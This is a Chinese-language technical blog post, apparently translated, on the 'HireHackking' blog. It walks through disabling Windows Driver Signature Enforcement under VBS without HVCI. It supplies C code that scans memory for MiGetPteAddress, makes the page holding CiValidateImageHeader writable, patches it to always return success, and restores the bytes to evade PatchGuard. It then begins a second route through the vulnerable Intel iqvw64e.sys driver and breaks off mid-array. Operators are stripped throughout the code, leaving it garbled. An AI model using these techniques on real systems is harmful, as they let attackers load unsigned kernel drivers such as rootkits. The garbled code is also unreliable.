Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375580

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

如今,代碼簽名證書的洩露和針對驅動程序的漏洞利用已經成為司空見慣的事情,內核已經成為攻擊者新的狩獵場。隨著微軟推出基於虛擬化的安全(VBS)和管理程序代碼完整性(HVCI)等技術,我想知道面對具有Ring-0權限的攻擊者時,端點有多容易受到攻擊。

在這篇文章中,我們將探討一種用於禁用驅動程序強制簽名的常見技術,VBS是如何試圖阻止攻擊者利用這一點的;以及在沒有結合HVCI的情況下,繞過這種安全措施是多麼的輕鬆。

驅動程序強制簽名機制一段時間以來,Windows一直使用驅動強制簽名(DSE)機制來防止攻擊者將未簽名的驅動程序加載到內核中。這是一種非常有效的方法,可以確保攻擊者無法輕易繞過內核中實現的各種安全功能,例如通過破壞EPROCESS字段來繞過PPL(Process Protection Light,PPL)。

為了克服這個障礙,攻擊者有多條路可走。第一條路是向目標發送一個易受攻擊的驅動程序,該驅動程序符合所有的簽名要求,但允許攻擊者利用其缺陷進行內存修改,以便將未簽名的驅動程序加載到內核。第二條路是利用以前暴露的簽名證書給自己的驅動程序代碼簽名,這樣就可以將其直接加載到內核中了。而隨著最近越來越多的簽名證書被洩露,該技術已經成為了攻擊者的首選。

禁用驅動程序強制簽名機制那麼,如果我們想要禁用驅動程序強制簽名機制,又不想將OS重新引導至調試或測試模式,那該怎麼辦呢?實際上,在Windows的最新版本中,DSE是通過一個名為ci.dll的模塊實現的,並且在該模塊中公開了一個名為g_CiOptions的配置變量:

1.png

這個配置變量具有許多可設置的標誌,但就本文來說,可以直接將其設置為0來完全禁用DSE,從而允許攻擊者加載未簽名的驅動程序。

在很長一段時間裡,作為一種將未簽名的驅動程序加載到操作系統中的簡單手段,都是堪稱完美的。但後來Windows10引入了VBS機制,這種方法就從此失效了。

基於虛擬化的安全保護機制如今,微軟在保護內核不被篡改方面做出了巨大的努力。 David Weston在2018年的Bluehat會議上發表了一篇精彩的演講,對個中緣由進行了全面的總結,其中主要的方面就是安全法則的不斷變化。諸如“如果攻擊者能說服受害者自己的電腦上運行其程序,那這台電腦就不再屬於攻擊者了”這樣的法則已經不再成立,因為微軟已經花了很大的力氣來提高操作系統的安全性,從而防止這種事情的發生。

微軟為提高內核的安全性而部署的技術之一被稱為“基於虛擬化的安全機制”。該機制在Windows 10和11系統中是默認啟用的,並提供了一個受管理程序保護的環境,來運行第二個“安全內核”,而運行在Ring-0級別上的傳統內核是無法觸及該環境的。

注意:就目前來說,許多人都把VBS和HVCI混為一談了。實際上,VBS並不是HVCI。 HVCI可以被看作是在VBS的保護傘下運行,但需要單獨的配置才能啟用。

那麼,VBS是如何防止用洩漏的證書或易受攻擊的驅動程序禁用驅動程序強制簽名機制的呢?為了弄清楚這一點,先讓我們看看CI.dll中g_CiOptions變量是如何解析的:

1.png

我們可以看到,這裡使用了MmProtectDriverSection,它是作為一種叫做內核數據保護(KDP)的技術的一部分而提供的API。這個API的作用,就是確保傳遞內存地址時,在Ring-0中運行的代碼無法修改其內容。

即使我們試圖使用像WinDBG這樣連接到內核的程序(通過設置DebugFlags為0x10來啟用DSE),我們仍然無法更新存儲的值。

1.png

這意味著,為了在VBS被啟用的情況下禁用DSE,我們必須另尋他法。

利用補丁技術禁用DSE對於熟悉AMSI繞過技術的讀者來說,對於接下來要介紹的方法肯定不會陌生:補丁技術。首先,我們需要知道在哪裡打補丁,所以,讓我們進入內核調試器會話,並在安全策略會進行審查的地方添加一個斷點。根據對CI.dll的了解,CiCheckPolicyBits函數看起來是一個下斷點的好地方。從這裡開始,如果嘗試加載一個未簽名的驅動程序,會看到如下所示的調用堆棧:

1.png

就像上面看到的那樣,執行流程通過SeValidateImageHeader函數從內核進入CI,而該函數調用了CiValidateImageHeader函數。實際上,該函數的作用就是驗證驅動程序是否符合簽名要求。接下來,讓我們給SeValidateImageHeader添加一個斷點,看看CiValidateImageHeader在無法成功加載未簽名的驅動程序時會返回什麼。

1.png

在我看來,這好像是一個NTSTATUS代碼。在幻數數據庫中的搜索結果顯示,c0000428對應於STATUS_INVALID_IMAGE_HASH。所以,我們可以推測,如果這個函數返回STATUS_SUCCESS,我們就可以繞過這個簽名檢查。幸運的是,我們也知道這個方法並不受內核數據保護的保護,所以,我們現在只需想出一個允許向這個內存位置執行寫操作的方法即可。

利用已簽名的驅動程序禁用DSE首先,讓我們創建一個簡單的驅動程序,以便將來用於禁用DSE。很明顯,這個程序在創建之後,必須用證書籤名才能加載。由於在下一節將變得很明顯的原因,我們將專注於通過讀/寫操作來植入CiValidateImageHeader。

我們先在內核中修改CiValidateImageHeader的內存保護。最直接的方法是直接修改虛擬地址的頁表項(PTE)。為了抓取CiValidateImageHeader的頁表項,我們首先需要找到一種方法,允許我們將虛擬地址轉換為其對應的PTE。

對於熟悉遊戲作弊技術的人來說,已經猜到在這種情況下可以使用的函數是MiGetPteAddress。關於這個方法的詳細介紹,請參閱@33y0re關於PTE覆蓋的相關文章。基本上,這個函數能夠找出稍後用到的PTE基址;下圖中,該地址為0FFFFCE8000000000,但在每次重啟後,該地址都會發生變化:

1.png

為了找到這個函數,我們需要在內存中尋找一個字節簽名。為此,我們可以用下面的代碼來完成該任務:

void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){

for(inti=0;imaxHuntLength;i++){

if(base[i]==inSig[0]){

if(memcmp(base+i,inSig,length)==0){

returnbase+i;

}

}

}

returnNULL;

}

.通過在內存中搜索與MiGetPteAddress匹配的簽名,我們可以提取PTE的基址,並將虛擬地址解析為PTE位置:

charMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};

void*FindPageTableEntry(void*addr){

ULONG_PTRMiGetPteAddress=signatureSearch(ExAcquireSpinLockSharedAtDpcLevel,MiGetPteAddressSig,sizeof(MiGetPteAddressSig),0x30000);

if(MiGetPteAddress==NULL){

returnNULL;

}

ULONG_PTRPTEBase=*(ULONG_PTR*)(MiGetPteAddress+sizeof(MiGetPteAddressSig));

ULONG_PTRaddress=addr;

address=address9;

address=0x7FFFFFFFF8;

address+=(ULONG_PTR)PTEBase;

returnaddress;

}現在,我們已經能夠解析虛擬地址的PTE了,接下來,我們需要找到CivalidateImageHeader的虛擬地址。由於該函數不是由ci.dll導出的,因此,我們將再次通過簽名進行查找:

charCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0x89,0x45,0x50,0x48,0x8b};

constintCiValidateImageHeaderSigOffset=0x23;

ULONG_PTRCiValidateImageHeader=signatureSearch(CiValidateFileObjectPtr,CiValidateImageHeaderSig,sizeof(CiValidateImageHeaderSig),0x100000);

if(CiValidateImageHeader==NULL){

return;

}

CiValidateImageHeader-=CiValidateImageHeaderSigOffset;一旦我們找到該地址,我們就可以獲得其PTE位置。為此,我們只需要對PTE中相應的位進行翻轉,從而迫使包含CiValidateImageHeader的內存頁變為是可寫的:

ULONG64*pte=FindPageTableEntry(CiValidateImageHeader);

*pte=*pte|2;當頁面設置為可寫時,我們接下來就可以用xor rax, rax; ret來修補函數的開頭部分;注意備份好原始指令,以便以後還原:

charretShell[]={0x48,0x31,0xc0,0xc3};

charorigBytes[4];

memcpy(origBytes,CiValidateImageHeader,4);

memcpy(CiValidateImageHeader,retShell,4);然後,恢復頁面保護:

*pte=*pte^2;

//Afterthis,pageprotectionisreverted完成上述操作後,讓我們嘗試加載未簽名的驅動程序:

演示視頻:https://youtu.be/uSNivgtM5BM

加載未簽名驅動程序後,要考慮的另一件重要事情,就是恢復以前打過補丁的函數,以避免PatchGuard從中作梗,具體如下所示:

*pte=*pte|2;

memcpy(CiValidateImageHeader,origBytes,4);

*pte=*pte^2;通過易受攻擊的驅動程序禁用DSE現在,讓我們考慮另一個場景:如果我們希望使用易受攻擊的驅動程序,而不是通過用洩露的證書籤名的惡意驅動程序禁用DSE的話,那該怎麼辦?正如我們在上面所看到的,我們所需要的只是一個易受攻擊的驅動程序中的讀/寫原語,並且,這些並非難事!

下面,讓我們詳細介紹如何使用易受攻擊的驅動程序來禁用DSE。在本例中,我們將使用Intel的iqvw64e.sys驅動程序,它已經流行了一段時間。由於我們這次不是在內核中執行代碼,所以,我們就必須執行一些額外的步驟來計算用戶模式下的地址。

首先,我們需要確定ntoskrnl.exe和ci.dll的基址。為此,我們可以使用NtQuerySystemInformation和SystemModuleInformation輕鬆實現這一點:

ULONG_PTRGetKernelModuleAddress(constchar*name){

DWORDsize=0;

void*buffer=NULL;

PRTL_PROCESS_MODULESmodules;

NTSTATUSstatus=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);

while(status==STATUS_INFO_LENGTH_MISMATCH){

VirtualFree(buffer,0,MEM_RELEASE);

buffer=VirtualAlloc(NULL,size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

status=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);

}

if(!NT_SUCCESS(status))

{

VirtualFree(buffer,0,MEM_RELEASE);

returnNULL;

}

modules=(PRTL_PROCESS_MODULES)buffer;

for(inti=0;imodules-NumberOfModules;i++)

{

char*currentName=(char*)modules-Modules[i].FullPathName+modules-Modules[i].OffsetToFileName;

if(!_stricmp(currentName,name)){

ULONG_PTRresult=(ULONG_PTR)modules-Modules[i].ImageBase;

VirtualFree(buffer,0,MEM_RELEASE);

returnresult;

}

}

VirtualFree(buffer,0,MEM_RELEASE);

returnNULL;

}

.

ULONG_PTRkernelBase=GetKernelModuleAddress('ntoskrnl.exe');

ULONG_PTRciBase=GetKernelModuleAddress('CI.dll');接下來,我們需要進行簽名搜索。這裡最簡單的方法就是將我們的文件映射為SEC_IMAGE並在內存中搜索PE節:

void*mapFileIntoMemory(constchar*path){

HANDLEfileHandle=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(fileHandle==INVALID_HANDLE_VALUE){

returnNULL;

}

HANDLEfileMapping=CreateFileMapping(fileHandle,NULL,PAGE_READONLY|SEC_IMAGE,0,0,NULL);

if(fileMapping==NULL){

CloseHandle(fileHandle);

returnNULL;

}

void*fileMap=MapViewOfFile(fileMapping,FILE_MAP_READ,0,0,0);

if(fileMap==NULL){

CloseHandle(fileMapping);

CloseHandle(fileHandle);

}

returnfileMap;

}

void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){

for(inti=0;imaxHuntLength;i++){

if(base[i]==inSig[0]){

if(memcmp(base+i,inSig,length)==0){

returnbase+i;

}

}

}

returnNULL;

}

ULONG_PTRsignatureSearchInSection(char*section,char*base,char*inSig,intlength){

IMAGE_DOS_HEADER*dosHeader=(IMAGE_DOS_HEADER*)base;

IMAGE_NT_HEADERS64*ntHeaders=(IMAGE_NT_HEADERS64*)((char*)base+dosHeader-e_lfanew);

IMAGE_SECTION_HEADER*sectionHeaders=(IMAGE_SECTION_HEADER*)((char*)ntHeaders+sizeof(IMAGE_NT_HEADERS64));

IMAGE_SECTION_HEADER*textSection=NULL;

ULONG_PTRgadgetSearch=NULL;

for(inti=0;intHeaders-FileHeader.NumberOfSections;i++){

if(memcmp(sectionHeaders[i].Name,section,strlen(section))==0){

textSection=sectionHeaders[i];

break;

}

}

if(textSection==NULL){

returnNULL;

}

gadgetSearch=(ULONG_PTR)signatureSearch(((char*)base+textSection-VirtualAddress),inSig,length,textSection-SizeOfRawData);

returngadgetSearch;

}

.

constcharMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};

constcharCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0